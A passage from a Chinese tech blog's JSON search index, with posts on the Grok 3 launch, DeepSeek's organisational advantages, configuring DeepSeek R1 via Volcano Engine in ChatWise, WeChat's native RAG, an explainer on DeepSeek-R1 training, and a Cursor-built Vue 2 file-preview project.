Agent ，比如你可以让它给你写用 python 代码写个小游戏什么的：\n效果怎么样？ 这部分咱就不知道是不是吹牛了。哈哈\nGrok 3 在多个基准测试中超过了 OpenAI 的 gpt-4o、Claude 3.5、Deepseek V3 和 Gemini 2 Pro。\n在数学、科学、代码等多领域测试结果均超过同行，反正意思就是他最厉害（咱也不知道是不是😂）\n现在可以使用了吗？ 免费吗？ 不是免费的！！\nGrok 3 将于今天开始推出，所有 X Premium +用户都可以免费使用\n最后 马斯克想用实际行动证明 Scaling Laws 没有失效，未来的几天，用户会给他答案。我们也拭目以待结果如何。\n最后，海外 AI 团队华裔的比例都这么大了吗？？\n","date":"2025-02-18T06:21:47Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-02-18-di-qiu-shang-zui-cong-ming-de-ren-gong-zhi-neng-grok3-fa-bu/cover.jpg","permalink":"/p/2025-02-18-di-qiu-shang-zui-cong-ming-de-ren-gong-zhi-neng-grok3-fa-bu/","title":"“地球上最聪明的人工智能” Grok3 发布！"},{"content":"技术路线的根本分歧：算力受限下的范式创新 Scaling Law 的惯性思维 国内大厂普遍沿袭 OpenAI 的算力堆砌路线，依赖 H100 等高端芯片构建万卡集群，而 DeepSeek 选择混合专家模型（MoE）架构，通过动态冗余策略降低计算成本至传统模型的 1/10 。例如：\n参数效率优化：MoE 模型仅调用 37B 参数生成单个 Token，相比传统 Dense 模型 70B 的全量调用，显存占用减少 47% 。 训练框架创新：DeepSeek 自研 FP8 混合精度框架，首次验证极大规模模型的低精度训练可行性，训练效率提升 3 倍 。 推理框架的定制化差异 大厂普遍基于 NVIDIA CUDA 生态开发通用推理框架，而 DeepSeek 针对 MoE 特性重构内存访问模式，实现单卡批量处理能力提升 3 倍。例如：\n硬件级算子优化：通过稀疏注意力机制减少冗余计算，推理延迟降低至 GPT-4 的 1/4。 私有化部署优势：32B 量化模型可在消费级显卡（如 RTX 3090）本地运行，突破云端 API 的算力限制。 大厂困境 百度、阿里等沿用 Dense 架构，在 A800 算力下无法突破 70B 参数阈值，导致模型效果停滞。\n组织文化的本质差异：反经验主义的敏捷实验 层级化决策的桎梏 大厂普遍采用 5-8 层管理体系，而 DeepSeek 仅保留三层扁平架构（创始人-小组长-一线），决策链路缩短 70%。典型案例：\n百度风投的错失：尽管办公地点相邻，但百度复杂的内部评审机制未能及时识别 DeepSeek 潜力。 腾讯的“赛马机制”局限：多团队并行试错虽降低风险，但导致资源分散，混元大模型至今未形成差异化标签。不过千万不要小瞧了腾讯，这家公司向来 后劲十足 人才策略的颠覆性 DeepSeek 核心团队 80%为应届硕博，采用“第一性原理思考+快速试错”模式，与 BAT 依赖行业专家的策略形成对比。\nDeepSeek 强调“聪明+热爱”而非行业经验，与阿里、字节等大厂依赖高薪挖角海外专家的策略形成对比。\n反经验主义导向 放弃传统 AI 标注路线，通过强化学习直接激发模型的自我验证能力\n创新容错机制 DeepSeek 允许工程师无审批调用万卡集群资源，失败项目占比达 40%，而大厂 KPI 考核压制高风险探索。\n商业化压力与资源分配的失衡 短期 KPI 与长期创新的矛盾 大厂模型部门需背负明确的商业化指标（如日活、营收），而 DeepSeek 早期放弃垂直领域变现，专注 AGI 基座模型研发。例如：\n通义千问的困境：尽管技术开源领先，但 C 端认知度不足，日活仅为 DeepSeek 的 1/10 。 豆包的策略失误：字节跳动过度追求市场占有率，未能在用户体验层实现突破，最终被 DeepSeek 颠覆 。 算力资源的错配 国内大厂受芯片禁运影响，普遍采用阉割版 A100 或消费级显卡，而 DeepSeek 通过算法-硬件协同优化突破瓶颈：\n动态负载均衡：MoE 架构下推理成本降至同性能 Dense 模型的 1/5，万卡集群需求减少 60% 。 冷启动强化学习：仅需少量标注数据即可激发模型的长链推理能力，数据获取成本降低 90% 。 启示与未来挑战 技术平权的不可逆趋势 DeepSeek 验证了算法创新可突破硬件封锁，MoE 架构下国产芯片推理效率已达 H100 的 85% 。\n组织文化的重构必要性 大厂需打破“专家崇拜”与层级壁垒，建立允许试错的“暗黑项目池”机制，将创新失败容忍度从\u0026lt;5%提升至 30% 。\n商业模式的二次创新 未来竞争焦点将从模型性能转向场景化价值闭环，例如：DeepSeek-R1 在量化投资领域的推理准确率已达人类分析师的 92%\n随着企业对于大模型的认知和使用意愿的增强，将带来私有化部署的风潮，从使用的角度看，将形成 toB（企业私有化部署）+toC（普通用户）的双重格局。\n最后 DeepSeek的领先优势能够保持多久？\n用梁老板自己的话来回答吧。\n技术优势是短暂的，真正的护城河是文化和组织 \u0026ndash; 梁文锋\n","date":"2025-02-15T14:56:17Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-02-15-wei-shen-me-da-chang-mei-you-zuo-chu-deepseek/cover.jpg","permalink":"/p/2025-02-15-wei-shen-me-da-chang-mei-you-zuo-chu-deepseek/","title":"为什么大厂没有做出 DeepSeek？"},{"content":"服务器繁忙 由于 DeepSeekR1 是开源的，只要有算力资源就可以独立部署，所以最近各个公司都在推出自己的 DeepSeek R1 模型调用服务。\n由于 DeepSeek 官网很不稳定，经常出现 “服务器繁忙”\n所以，不得已，得找备用方案。\n所谓 “备用方案” 无非两种形式，一种是产品化的，就是人家已经做好功能页面了，你可以像在 DeepSeek 官网一样直接输入 prompt 使用。\n提供这种网站或服务的公司越来越多了，原因也很简单，前面说过了，有算力就可以自己部署。先免费开放使用，至少可以借这波流量赚一批用户。\n另外一种就是提供 API 服务，用户通过 API 调用。其实只要能够提供这种服务，再稍微加点儿功能就可以提供前面讲的第一种形式的服务。当然，很多公司也是同时提供两种服务，尤其是各大云厂商，如阿里云、腾讯云、火山引擎等等。\nAPI 不稳定 DeepSeek 自己当然也提供 API 服务，在去年大模型价格战时被称为 “模型界的拼多多” ，可见之前他们家的费用有多低。\n不过最近用的人多了，人家 “涨价了”，也合情合理，就这你想用还用不了呢。\n不能充值了。你说气不气。有钱没处花，哈哈。\n就算之前充过值，还有余额的，官网 API 的使用体验也好不到哪儿去，因为它很不稳定：\n找个速度快的，稳定的 折腾了一圈儿下来，我发现比较靠谱的产品就是：360 的纳米 AI（https://bot.n.cn/）\n最大的优势是：速度快，没有明显的等待时间。\n其他的，提供类似这种产品化服务的还有几个，比如 ：“秘塔ai” 、“知乎直达” 、“askmanyai” 、“腾讯元宝” 。这些产品都接入了 DeepSeek R1 模型，和自家的产品做了集成。\n总体看下来各有千秋吧，你可以自己测试对比一下回复质量。整体对比下来，出现幻觉的情况也是不少的，尤其是在多轮对话的情况下。\n一个确定的结论是：在想让模型生成创造性内容的情况下， R1+联网搜索 同时打开后，其他所有产品的回复质量都不如 DeepSeek 官方的高。\n但是官网不稳定啊，要了命了，所以还是得找找 “平替”。\n又找了一圈儿，经过测试发现火山引擎提供的服务又快又稳定，有点儿意思！\nChatWise ChatWise 是一个本地的模型应用客户端，可以配置本地 ollama 模型，当然也可以通过各模型厂商的 API 来配置使用。体验了一阵子后觉得很不错就氪金了。\n它支持 “联网搜索”、“Artifacts” 等功能\nChatWise + 火山引擎 + DeepSeek R1 既然火山的服务这么好，当然要体验一下啦，而且它会免费送 50 万 tokens。\n这里我要说一下我浪费时间的两个地方，当然这只是我遇到的问题，也许你在折腾的时候比较顺利。\n第一，入口 来到火山引擎后，前面的注册、登录、实名认证过程我就不多说了。这一步重要的是找到入口，好像也有人像我一样 “在门口转悠半天，不知道从哪里进入”。\n这是入口链接：火山方舟（https://console.volcengine.com/ark）\n然后点击左侧菜单的 “在线推理”\n然后点击，创建推理接入点：\n然后自己起个名字：\n模型我选择的是 R1 ，当然你也可以选别的：\n创建过程还是很快的，创建成功后，列表上会有显示\n接下来，就是创建一个 API KEY ，然后放到 ChatWise 配置使用了。\n第二个，ChatWise 配置 这是我遇到的第二个问题，我在这里浪费了不少时间\n可以看到 ChatWise 是直接自定义添加 Provider 的，至少 API BaseURL,我是从文档示例中找到的：\n这个页面是通过点击列表页的 “API 调用” 进入的\n然后我下一步就遇到问题了，浪费了好多时间，我填好了 API Base URL和 API Key 以后就点击 “Fetch” ,结果 404，折腾了好半天才反应过来，要点击那个 “New” 自己添加模型，可能是因为使用 google gemini 的时候是自己 Fetch 出来了，有点儿路径依赖，大脑这时候秀逗了。\n这一步最重要的是 ModelID 要填对\n这个 ID 在上图的列表页，接入点名称的下方，人家还贴心的做了复制功能：\n开始使用 我把我遇到的问题发出来，希望其他人少踩坑。\n上面的过程配置完毕后就可以直接使用了。\n在 ChatWise 中，尽情发挥吧。\n可以看到我打开了联网功能，点击搜索文章的那个区域，可以看到具体从网络上查找了哪些内容：\n","date":"2025-02-14T04:59:28Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-02-14-huo-shan-yin-qing-deepseekr1-chatwise/cover.jpg","permalink":"/p/2025-02-14-huo-shan-yin-qing-deepseekr1-chatwise/","title":"火山引擎 + DeepSeekR1 + ChatWise"},{"content":"还是来了，虽然早猜到有这么一天。\n微信公众号官方推出基于公众号的 RAG 系统。\n如何开通 首先打开公众号后台，在左侧菜单点击自动回复\n在右侧打开的页面中点击智能回复\n接着打开智能回复的开关\n设置提示词，系统提供了默认的提示词，写的挺不错的，不过你也可以修改它\n接着，稍微几分钟（我的是等了 3 分钟左右吧）就会在后台看到发的开通成功的通知\n如何使用 在手机上打开公众号头像，点击 “发消息” 进入对话界面 在聊天界面，你就可以问你想问的问题了，比如你想问问这个公众号有没有写过你感兴趣关键词的文章，如果有把文章标题返回给你。 可以看到，它现在还不能把文章链接直接返回给我们，有点儿不太方便，不过已经初步具备了 RAG 的能力，即 公众号原生的 AI 知识库\n当然我问的问题比较简单， RAG 是基于语义的，你可以再基于语义去问更复杂的问题，它是支撑的\n最后 我第一时间就把之前自己基于智谱清言的回复机器人下了，直接用官方的，不出意外，它还会继续迭代，将来直接返回文章链接、视频号链接等腾讯生态内的东西，对了，甚至还有商品和广告，哈哈。\n","date":"2025-02-10T09:14:18Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-02-10-zhong-yu-chu-shou-le-wei-xin-gong-zhong-hao-yuan-sheng-rag-s/cover.jpg","permalink":"/p/2025-02-10-zhong-yu-chu-shou-le-wei-xin-gong-zhong-hao-yuan-sheng-rag-s/","title":"终于出手了，微信公众号原生 RAG 上线，官方 AI 知识库来了！"},{"content":"概述 DeepSeek-R1 是 DeepSeek 团队发布的首代开源推理大型语言模型 (LLM)，包括两个主要模型：DeepSeek-R1-Zero和 DeepSeek-R1。\nDeepSeek-R1-Zero 以纯强化学习 (RL) 训练而成，在无监督微调 (SFT) 预热的情况下直接通过大规模 RL 获得了强大的推理能力。\nDeepSeek-R1 则在此基础上引入了多阶段训练流程和“冷启动”数据，以解决 R1-Zero 存在的可读性差、语言混杂等问题，并进一步提升推理性能。\n其核心突破在于：证明了纯 RL 训练的可行性（DeepSeek-R1-Zero）以及结合冷启动数据的多阶段优化（DeepSeek-R1），在数学、编程等推理任务中达到与 OpenAI o1-1217 闭源模型相当的性能。\n可以从下图中回顾一下 AI 领域中一些基础概念的关系\n模型概述与架构 模型架构层面：R1 采用了深度 Transformer 架构，并以 DeepSeek-V3-Base 模型为基础。DeepSeek-V3 是一个拥有 6710 亿参数的混合专家模型，具备强大的通用能力。\nR1 通过使用 V3 的 Base 子模型（一个数十亿参数的密集 Transformer）进行初始化，并通过强化学习训练，逐步演化出复杂的推理能力。\nDeepSeek 团队利用他们自研的 “群组相对策略优化” (GRPO) 算法来进行强化学习，该算法能有效提升模型的推理表现。\n此外，他们还发布了六个从 R1 蒸馏而来、参数规模从 15 亿到 700 亿不等的小型密集模型，这些模型基于 Qwen 和 Llama 架构，旨在方便下游应用部署。\n这个模型的架构有点像是给它搭建了一个强大的思考框架。\n就好比给一个孩子提供了丰富的学习资料和良好的学习环境，让它能够在这个基础上更好地发挥自己的聪明才智。DeepSeek-V3-Base 就像是这个 “孩子” 最初的知识宝库，而通过一系列的强化学习训练，这个 “孩子” 就能在这个宝库的基础上，学会更多复杂的思考方式，就像一个普通学生逐渐成长为一个能够解决高难度问题的学霸。\n“\n想象一个刚学数学的孩子：他最初面对复杂题目时手足无措，但通过不断尝试错误、总结经验，最终掌握解题方法。DeepSeek-R1正是通过类似的\u0026quot;强化学习\u0026quot;机制，让 AI 实现了从\u0026quot;死记硬背\u0026quot;到\u0026quot;逻辑推理\u0026quot;的跨越。\n研究团队设计了一个独特的训练系统：\n初阶修炼（R1-Zero）：让基础模型直接面对数学题、编程题等挑战，完全自主尝试解题。就像给 AI 一本没有答案的习题集，每次解题后系统自动批改，答对奖励\u0026quot;小红花\u0026quot;，答错扣分。\n进阶指导（R1）：当 AI 形成基本解题能力后，引入数千条人工标注的优质解题范例（冷启动数据），相当于给这个\u0026quot;自学成才\u0026quot;的学生请了私教，规范其解题步骤和语言表达。\n综合实战：最后让 AI 在包含数学、编程、常识问答的混合题库中反复训练，确保它能应对各类复杂问题。\n这种\u0026quot;先放养后规范\u0026quot;的训练方式，使最终模型在保留自主推理能力的同时，输出更符合人类习惯的解题过程。例如面对几何证明题时，AI 会自动生成类似学霸的思考路径：\n1\u0026lt;思考\u0026gt; 已知三角形 ABC 是等边三角形，我需要证明三个内角都是 60 度。 2第一步：回忆等边三角形的定义——三边长度相等。 3第二步：联想到三角形内角和定理，总和为 180 度。 4第三步：由于三边相等，三个角必然相等，故每个角为 180/3=60 度。 5\u0026lt;/思考\u0026gt; 6\u0026lt;答案\u0026gt; 证明完成，每个内角均为 60 度。\u0026lt;/答案\u0026gt; 训练方法与强化学习策略 训练流程采取多阶段逐步增强策略，通过交替进行监督微调（SFT）和强化学习（RL）来激发模型的推理潜能。\n冷启动监督微调（Cold-Start SFT） ：首先，在 DeepSeek-V3-Base 上进行初步的有监督微调。作者收集了数千条 “冷启动” 数据，对 Base 模型进行微调。这些冷启动数据旨在提升模型基础的语言表达和可读性，避免模型直接 RL 训练时出现输出混乱、难以阅读的问题。经过冷启动 SFT 后，模型具备基本的指令跟随和清晰表达能力，为后续强化学习奠定基础。\n第一阶段强化学习（推理能力强化） ：接下来，对经过 SFT 的模型执行大规模强化学习训练，专注于复杂推理任务。这一阶段类似于 DeepSeek-R1-Zero 的训练过程，即仅通过 RL 不断试错来提升推理正确率。具体而言，设计了奖励函数来鼓励模型产生正确且有逻辑的推理链。模型通过生成解题过程（Chain-of-Thought）和最终答案，由程序或判题模型自动判定答案正误，给予奖励信号。例如，在数学问题上，若模型最终答案正确则获得高奖励，同时过程中语言流畅度也会影响奖励。这一阶段采用 GRPO 算法不断优化模型策略，使模型的推理自我进化能力显著提高。随着数千步的 RL 训练，DeepSeek-R1-Zero 在推理基准上的表现大幅提升：如 AIME 数学竞赛题 Pass@1 准确率从 15.6% 飙升至 71.0%，并通过多答案投票提升至 86.7%，已接近 OpenAI o1-0912 模型。训练过程中模型还自然涌现出反思（reflection）和探索替代方案等复杂推理行为。然而，纯 RL 训练的模型出现了输出可读性差、掺杂中英等问题。\n拒绝采样与二次监督微调 ：为弥补 RL 模型在语言表达上的不足，在 RL 收敛后引入拒绝采样（rejection sampling）策略生成新的高质量 SFT 数据。具体做法是：从 RL 阶段的模型中采样大量回答，对每个问题保留最优解（例如正确且表述好的答案），配合 DeepSeek-V3 已有的监督数据（涵盖写作、问答、Self-cognition 等非推理领域）共同组成扩充的微调数据集。对这些数据进行清洗筛选，例如过滤掉混杂多语言、段落冗长或包含代码块的链式思维内容，确保数据质量。最终得到约 80 万条多样化高质量样本。随后，对 DeepSeek-V3-Base 模型进行第二次有监督微调（训练约 2 个 epoch）。这一步相当于将模型在 RL 中学到的优秀推理策略 “蒸馏” 回模型，并结合外部监督数据，使模型在保持推理能力的同时，显著改善语言流畅度、一致性和多领域能力。\n第二阶段强化学习（全场景强化） ：最后，对二次微调后的模型执行附加的 RL 微调，融合所有类型场景的提示进行训练。这一阶段的 RL 不再仅限于数学或编码等推理任务，而是引入多种场景，同时关注对齐人类偏好和有害内容规避等目标。为此，构建了综合的奖励信号：一方面沿用推理准确性的奖励，另一方面增加偏好模型对回答有帮助性、无害性的评分作为辅助奖励。偏好模型和偏好数据的构建借鉴了 DeepSeek-V3 在 RLHF 中的做法，使用了类似比例的人工偏好对数据和提示分布。通过将多种奖励加权求和，模型在 RL 中同时优化推理正确性和回应的友好度。训练一直持续到各类任务的性能收敛。经过这一多信号、多场景的 RL 微调后，得到最终的 DeepSeek-R1 模型。这种 “SFT+RL+SFT+RL” 的多阶段训练策略有效结合了监督学习保证基本表现和 RL 挖掘推理潜力的优点，使模型在推理能力和语言质量上达到较佳平衡。\n我们可以把训练 DeepSeek-R1 的过程想象成培养一个学生的过程。\n预热训练（冷启动监督微调） ：就像老师先给学生一些基础的教材和简单的题目，让学生先学会基本的表达和答题规范。这些 “冷启动” 数据就像是给模型喂了一些容易消化的知识点，让它先知道怎么用通顺的语言来回答问题，为后面更复杂的训练打下基础。\n自我尝试（第一阶段强化学习） ：接下来，就像把这个学生放到一个充满各种难题的环境中，让它自己去尝试解答。在这个过程中，它会不断地犯错，但也会因为答对一些题目而得到奖励。比如在解数学题时，如果它算出了正确答案，就会得到一个高分奖励，同时如果它的解题过程写得很清楚，也会得到额外的鼓励。通过这样的反复尝试和奖励机制，这个 “学生” 的解题能力逐渐提高，就像 DeepSeek-R1-Zero 在这个阶段通过强化学习不断提升自己的推理能力一样。不过，这个阶段的 “学生” 有时候说话还不太清楚，可能会出现一些混乱的表达。\n优例精炼（拒绝采样与二次监督微调） ：当 “学生” 自己摸索了一段时间后，老师会从它之前做过的题目中挑选出一些优秀的解答，再结合一些新的知识资料，重新给它进行一次强化训练。这就像是对它的思考方式进行一次整理和优化，让它学会用更好的方式来表达自己的想法，同时也能更好地运用各种知识。经过这一步，模型的回答变得更加流畅和准确了。\n综合考核（第二阶段强化学习） ：最后，就像让学生参加一场综合性的考试，面对各种类型的题目，不仅要看它能不能解出难题，还要看它的回答是不是符合人们的要求，比如有没有礼貌、会不会说一些不合适的话等。通过这样的综合训练，最终得到的 DeepSeek-R1 就像一个经过全面培养的优秀学生，既能解决复杂的问题，又能用清晰、得体的语言来回答各种问题。\n核心技术突破 传统 AI 训练依赖大量人工标注数据，而 DeepSeek-R1 的核心创新在于：\n智能评分系统（GRPO 算法） 双重奖励机制 GRPO 算法 全称：群体相对策略优化（Group Relative Policy Optimization）\n核心思想：通过比较 AI 模型生成的多个答案，选出最优秀的那部分来改进模型，而不是像传统方法那样依赖人工标注的参考答案。\n举个🌰： 假设让全班同学做同一道数学题，老师会先收齐所有答案，选出得分最高的前几名，然后让其他同学以这些优秀答案为标准改进自己的解题思路。GRPO 就是用这种方式训练 AI 模型。\n这种技术路径大幅降低了训练成本（据估算比传统方法节省 60%以上资源），使得高水平 AI 模型的门槛进一步降低。\n双重奖励机制 准确性奖励：通过代码编译器验证程序正确性，用数学符号引擎验证计算步骤 格式奖励：要求答案必须包含 \u0026lt;思考\u0026gt; 和 \u0026lt;答案\u0026gt; 结构化标签，确保可读性 这种设计让 AI 在训练中自然涌现出人类般的解题策略。例如在测试中观察到，当首次解答错误时，AI 会自动生成修正版：\n1初次尝试：设 x 为未知数。..（计算错误） 2反思：第二步的方程建立有误，应改用二次函数求根公式 3修正解：重新设定变量关系。..（正确答案） 双重奖励机制可以用一个生动的比喻来理解：它就像一位既严格又贴心的老师，用 “答案对” 和 “步骤好” 两把尺子 同时训练 AI 模型\n与传统方法的对比\n模型蒸馏在 DeepSeek‐R1 上的应用 “\n模型蒸馏（Knowledge Distillation）是一种模型压缩技术，其核心思想是利用一个大模型（通常被称为“教师模型”）中蕴含的知识，来指导训练一个较小的模型（通常称为“学生模型”），使得这个小模型在推理任务上能够达到与大模型相近的性能，但计算资源消耗更低、部署更为便捷。\n在 DeepSeek‐R1 的场景中，DeepSeek 团队使用了大规模强化学习训练得到的 R1 模型作为教师，通过 R1 模型生成大量高质量的推理数据（例如完整的思维链、解题过程、代码实现等）。然后利用这些数据对基于 Qwen、Llama 等开源基础模型进行监督微调，也就是模型蒸馏。这样做的好处在于：\n高效利用教师知识：教师模型经过大量强化学习训练，已经掌握了复杂推理任务的能力。通过蒸馏，学生模型可以“继承”这种能力，而无需重新进行大规模的 RL 训练。\n降低计算和部署成本：相比直接训练一个大模型，学生模型的参数量更小（例如从 1.5B 到 70B 参数），在实际应用中所需的计算资源更低，便于在边缘设备或移动设备上部署。\n实现竞争性性能：尽管参数量较少，通过教师模型提供的软标签和指导，蒸馏后的学生模型在推理任务（如数学、编程、逻辑推理）上也能达到竞争性水平，部分情况下甚至能接近大模型的表现。\n实验结果与性能评估 经过一系列的训练和测试，DeepSeek-R1 展现出了非常出色的能力。\n数学考试 “学霸” ：在一些高难度的数学考试中，比如美国的数学邀请赛，DeepSeek-R1 的成绩和目前顶尖的 AI 模型差不多，就像一个数学学霸一样，能够解决很多让普通学生头疼的难题。在一份包含 500 道很难的数学题的测试中，它的准确率也非常高，达到了 97.3%，这说明它在数学推理方面已经达到了一个很高的水平，甚至超过了很多人类选手。此外，DeepSeek 团队还构建了名为 DeepSeek-Math 的数学推理数据集来检验模型极限，结果显示 R1 在包括 MATH-500 和 AIME 在内的数学基准上已达到当前开源模型顶尖水准。\n编程高手 ：在编程方面，DeepSeek-R1 也表现得非常出色。它参加了一个编程竞赛平台的挑战，成绩超过了 96% 的人类选手，就像一个资深的编程高手。这意味着它不仅可以写一些简单的代码，还能解决一些竞赛级别的复杂算法问题，可以作为编程助手来帮助开发者提高效率。\n知识问答达人 ：在涉及各种领域知识的问答测试中，DeepSeek-R1 的表现也非常亮眼。它能够回答很多历史、文学、科学等方面的问题，准确率接近 91%，几乎和顶尖的闭源 AI 模型差不多。这就像一个知识问答达人，拥有广博的知识和很强的理解能力，可以为人们提供准确的信息。\n精准回答问题 ：在一些简单的事实性问答测试中，DeepSeek-R1 不仅能给出正确的答案，而且回答更加简洁精准。比如在 OpenAI 推出的一个测试中，它比之前的模型回答得更好，就像一个经过专业训练的答题能手，能够快速准确地回答问题，让人们更容易理解和获取信息。\n应用价值 DeepSeek-R1 的成功带来了多方面的应用价值。在教育领域，它可以作为智能教师或辅导工具，详细解答复杂问题，提供证明思路，帮助学生更好地理解知识。对于科研人员来说，它可以作为一个 “头脑风暴” 助手，提供新的解题思路和答案，辅助科学研究。在代码开发方面，它可以作为编程助手 AI 部署在开发者工具中，帮助自动生成代码片段、优化算法，或者根据错误信息提示调试方向。此外，DeepSeek-R1 的开源性为整个 AI 领域的研究提供了宝贵的参考模型和开源代码，有助于推动通用人工智能的发展。\n思考：当 AI 开始定义智能边界 DeepSeek-R1 带来的不仅是技术突破，更引发深层次思考：\n在 AI 能够完成大多数认知任务的时代，教育的核心目的是什么？（也许不是传授知识，而是培养人性中最独特的那些品质：创造力、同理心、批判性思维） AI 时代，教育的评估体系、课程结构和师生关系将如何重构？（传统的学科划分将被打破，未来的课程可能会围绕“问题域”而不是“知识域”来组织，教师将从知识的权威转变为学习的协作者。） 当 AI 能够协助科学家进行复杂的科研工作，如何确保科研的伦理性和责任感？ AI 在科研中的应用是否会限制人类科学家的创新思维？（如何在利用 AI 的同时，保持人类科学家的独立思考和创新能力？） 在 AI 能够处理复杂任务的同时，如何确保其决策过程的可解释性？（特别是在关键领域，如医疗、金融、司法等，如何防止 AI 成为不可理解的“黑箱先知”？） AI 的广泛应用会对社会产生哪些深远的影响？（例如，AI 是否会导致大规模的失业问题，如何确保 AI 的发展惠及全人类？） 如何制定 AI 的伦理准则，确保其在发展过程中符合人类的价值观和道德标准？（例如，在 AI 进行决策时，如何确保其遵循公平、公正、透明的原则？） AI 的未来发展方向是什么？是继续深化现有的技术，还是探索全新的技术路径？（例如，AI 是否会向更加智能化、人性化的方向发展？） 随着 AI 的不断发展，人类与 AI 之间的关系将如何演变？（是合作还是竞争，是互补还是替代？如何确保人类与 AI 的和谐共处？） AI 进化是否必然导致“人机合一”？ （硅基+碳基，硅碳合一） ","date":"2025-02-09T14:47:25Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-02-09-deepseek-r1-cong-ling-kai-shi-dao-chao-yue-ren-lei/cover.jpg","permalink":"/p/2025-02-09-deepseek-r1-cong-ling-kai-shi-dao-chao-yue-ren-lei/","title":"DeepSeek-R1：从零开始，到超越人类"},{"content":"项目介绍 这是一个基于 Vue 2 的文件预览解决方案，支持主流办公文件的在线预览，包括 Word、Excel、PPT 和 PDF 文件。本项目采用 Vue 2 技术栈开发，确保了更好的兼容性和稳定性。\n该项目目前已开源：https://github.com/xiaobox/file-preview-demo\n项目开发说明 本项目是一个特殊的实验性项目，完全通过与 Cursor（AI 驱动的智能 IDE）的交互来完成。从项目初始化到最终完成，所有的代码都是通过与 Cursor AI 助手的对话生成的，没有手动编写任何一行代码。这个开发过程展示了 AI 辅助编程的潜力，以及如何利用先进的 AI 工具来加速开发流程。\n主要特点：\n零手写代码：所有代码均由 Cursor AI 生成 完整对话驱动：通过自然语言描述需求，AI 理解并实现功能 快速迭代：AI 能够根据反馈快速调整和优化代码 高质量输出：生成的代码遵循最佳实践，包含完整的错误处理和用户体验考虑 这种开发方式展示了 AI 在软件开发中的应用前景，以及如何利用 AI 工具来提高开发效率。\n功能特性 支持文件类型：\nWord 文档 (.docx)\nExcel 表格 (.xlsx)\nPowerPoint 演示文稿 (.pptx)\nPDF 文档 (.pdf)\n支持本地文件预览和远程 URL 文件预览\n支持大文件分页加载\n完整的跨平台支持：\n完美适配 PC 端和移动端\niOS（iPhone/iPad）和 Android 设备上表现优异\n响应式设计，自适应不同屏幕尺寸\n针对移动端优化了触控体验和性能\n优雅的加载状态和错误处理\n技术栈 核心框架：Vue 2.7.x（使用 Vue 2 的最新稳定版本）\n路由管理：Vue Router 3.6.x（与 Vue 2 配套的路由版本）\n文件预览：\nWord：@vue-office/docx\nExcel：@vue-office/excel\nPPT：@vue-office/pptx\nPDF：pdfjs-dist（Mozilla PDF.js）\n开发工具：\nVue CLI\nBabel\nESLint\n技术方案说明 PDF 预览方案 本项目选择使用 Mozilla 的 PDF.js（pdfjs-dist）而不是 @vue-office/pdf 的原因：\n功能完整性： PDF.js 是 Mozilla 维护的成熟方案，功能更加完整 支持文档大纲、缩放、搜索等高级功能 支持表单填写和注释 性能优势： 支持分页按需加载，减少内存占用 渲染性能更好，适合大型 PDF 文件 支持流式加载，无需等待整个文件下载完成 兼容性： 浏览器兼容性更好 支持更多 PDF 特性和格式 渲染效果更接近原生 社区支持： 有庞大的社区支持 问题修复和更新及时 文档完善，示例丰富 实践经验： 在测试中发现，使用 @vue-office/pdf 预览大型 PDF 文件时，在移动端存在严重问题 具体表现为：在文件未完全加载完成时，页面会自动多次重新加载 这可能是由移动设备内存限制或操作系统的内存管理机制导致 而使用 PDF.js 的分页渲染机制可以很好地解决这个问题 渲染实现说明 PDF.js 的渲染流程：\n核心渲染过程：\n1const page = await pdfDoc.getPage(pageNumber) 2const viewport = page.getViewport({ scale: scale }) 3const canvas = document.getElementById(`pdf-page-${pageNumber}`) 4const context = canvas.getContext(\u0026#39;2d\u0026#39;) 5canvas.height = viewport.height 6canvas.width = viewport.width 7const renderContext = { 8 canvasContext: context, 9 viewport: viewport 10} 11await page.render(renderContext).promise 技术细节：\n直接将 PDF 内容渲染到 Canvas，而不是转换成图片再加载 每个页面使用独立的 Canvas 元素 采用分页渲染机制，提升渲染性能 支持缩放、旋转等视图操作 性能优化： 实现分页渲染，避免一次性渲染所有页面 使用 Canvas 直接渲染，减少内存占用 支持流式加载，提升首屏加载速度 移动端适配： 针对移动端内存限制进行优化 避免了整个文件内容同时加载到内存的问题 解决了大型 PDF 在移动端反复重载的问题 旧版 Office 格式支持方案 如果需要支持旧版 Office 格式（.doc、.xls、.ppt），建议采用以下方案：\n服务器转换方案： 使用 LibreOffice/OpenOffice 搭建文件转换服务 将旧版格式转换为新版格式后再预览 优点：可控性强，无需第三方服务 缺点：需要自行维护服务器 商业转换服务： 使用 Microsoft Office 365 API 使用金山 WPS 开放平台 优点：稳定性好，维护成本低 缺点：需要付费，依赖第三方服务 客户端转换： 提示用户使用 Office 或 WPS 另存为新版格式 优点：实现简单，无需额外服务 缺点：用户体验不够友好 最后 谈谈感受 最近团队在开发文件预览的功能，本来觉得是一个比较常规和普遍的功能就没多过问，后来前端同学反馈问题比较多，比如移动端的兼容问题、新旧 office 格式文件的兼容问题、pdf 大文件预览问题等等。于是参与想了几个方案，本文介绍的项目是一个纯前端 解决方案。整体来看占用的资源比较小，是一个性价比很高的方案。当然，这是在解决了刚才提到的那些问题的前提下。\n这个项目从技术难度上并没有多高，但从过程和形式上却很有意思。\n因为这是又一个我用 Cursor 在不手写任何一行代码的基础上完成的项目。\n我本来预计半天的时间就能搞定，没想到整整搞了一天。\n无论是在技术社区还是在社交媒体，经常看到有人说：自己不会写代码，用 Cursor 在自己不写一行代码的情况下，用很短的时间完成了一个 app 或者一个项目。\n其实这样的项目，我已经写了好几个了，但区别是，我是一名具有 15 年研发经验的工程师。\n从我的角度来说，我觉得：在自己完全不会写代码的情况下，用 Cursor 完成一个项目是可能的，但可能性不大。除非这个项目非常简单。\n有过开发经验的朋友一定知道，一个项目在整个研发周期内多多少少会遇到一些问题，这些问题和挑战需要程序员们来解决，这些问题有大有小。我想表达的是，无论多少，你一定会遇到问题，而且很大概率是棘手的、不好解决的、针对你当前项目本身特定上下文的问题。\n那么问题来了，遇到这种问题，你如果完全不懂开发，不会写代码，仅凭着使用 AI 工具开发项目的热情和很可能出现幻觉的模型是很可能搞不定的。即使能搞定也会相当浪费时间和资源。生产率极其低！\n这是我在使用 Cursor 开发了几个项目后的结论，我不是说 Cursor 